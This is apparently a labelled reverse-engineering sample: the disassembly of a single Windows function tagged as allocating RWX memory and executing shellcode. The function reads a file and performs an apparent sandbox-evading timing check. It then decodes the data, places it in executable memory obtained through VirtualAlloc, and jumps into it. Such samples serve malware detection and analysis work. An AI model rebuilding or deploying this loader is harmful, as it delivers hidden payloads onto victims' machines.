Function at 0x140002180
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0xd8]
sub rsp, 0x1c0
movaps xmmword [rax - 0x28], xmm6
cmp qword [rcx + 0x18], 0xf
jbe 0x1400021b0
mov rcx, qword [rcx]
mov r8d, 0x20
mov rdx, rcx
lea rcx, [rbp - 0x60]
call fcn.1400043c0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x50], 6
je 0x14000222f
lea rdx, str.Failed_to_open_file_
call fcn.140004df0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004ad0
movzx edx, al
mov rcx, rbx
call fcn.140005b80
mov rcx, rbx
call fcn.140005a50
jmp 0x140002670
mov qword [rsp + 0x30], 0
mov word [rsp + 0x38], 1
mov rcx, qword [rbp + rcx - 0x18]
mov qword [rsp + 0x50], rcx
test rcx, rcx
sete byte [rsp + 0x58]
mov byte [rsp + 0x59], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm6, xmmword [rsp + 0x30]
test rcx, rcx
je 0x1400022c6
mov rax, qword [rcx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002293
mov rax, qword [rcx + 0x50]
cmp dword [rax], 0
jle 0x140002293
movzx eax, byte [rdx]
jmp 0x140002299
mov rax, qword [rcx]
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x1400022b3
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x50]
mov byte [rsp + 0x58], 1
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1400022cb
xor eax, eax
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], 1
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1400022cb
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x14000234b
test rax, rax
je 0x140002350
movdqa xmmword [rsp + 0x30], xmm6
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140005ee0
nop
lea rcx, [rbp - 0x50]
call fcn.1400042b0
test rax, rax
jne 0x140002363
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x18], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x50]
and eax, 0x17
mov dword [rbp + rcx - 0x50], eax
mov edx, dword [rbp + rcx - 0x4c]
and edx, eax
je 0x140002363
test dl, 4
je 0x1400026f8
lea rbx, str.ios_base::badbit_set
jmp 0x14000270d
test rax, rax
je 0x1400022da
movdqa xmm0, xmmword [0x14002f580]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
jmp 0x1400022fa
call fcn.140006650
mov rbx, rax
call fcn.140006634
mov rcx, rax
movabs rsi, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x14000238c
imul rbx, rcx, 0x64
jmp 0x1400023fc
cmp rbx, 0x16e3600
jne 0x1400023e0
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x1400023fc
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
mov qword [rbp + 0xe0], 0x1388
lea rcx, [rbp + 0xe0]
call fcn.1400050d0
call fcn.140006650
mov rdi, rax
call fcn.140006634
mov r9, rax
cmp rdi, 0x989680
jne 0x140002432
imul rcx, r9, 0x64
jmp 0x1400024a1
cmp rdi, 0x16e3600
jne 0x140002486
mov rax, rsi
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, r8
jmp 0x1400024a1
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov ecx, 0x7f149
sub ecx, edx
call fcn.140001ed0
cmp eax, 0x7f147
jle 0x140002624
cmp eax, 0x7f149
jge 0x140002624
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140004c30
nop
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.140001dd0
nop
lea rsi, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
xor ecx, ecx
call fcn.14000e4c8
mov ecx, eax
call fcn.14000d4fc
xor ebx, ebx
call fcn.14000d4d0
inc rbx
cmp rbx, 0x64
jl 0x140002542
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.140022af0
xor ecx, ecx
call fcn.14000e4c8
mov ecx, eax
call fcn.14000d4fc
xor ebx, ebx
nop
call fcn.14000d4d0
inc rbx
cmp rbx, 0x64
jl 0x140002570
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400025cf
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000273e
call fcn.140007884
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002624
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000261e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002744
call fcn.140007884
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000265f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000265a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026f2
call fcn.140007884
movdqa xmm0, xmmword [0x14002f580]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.140003910
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x64], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call fcn.140006f78
nop
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
call fcn.14000f170
nop
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1400013c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001c70
lea rdx, [0x140033478]
lea rcx, [rsp + 0x50]
call fcn.140009918
nop
call fcn.14000f170
nop
call fcn.14000f170
int3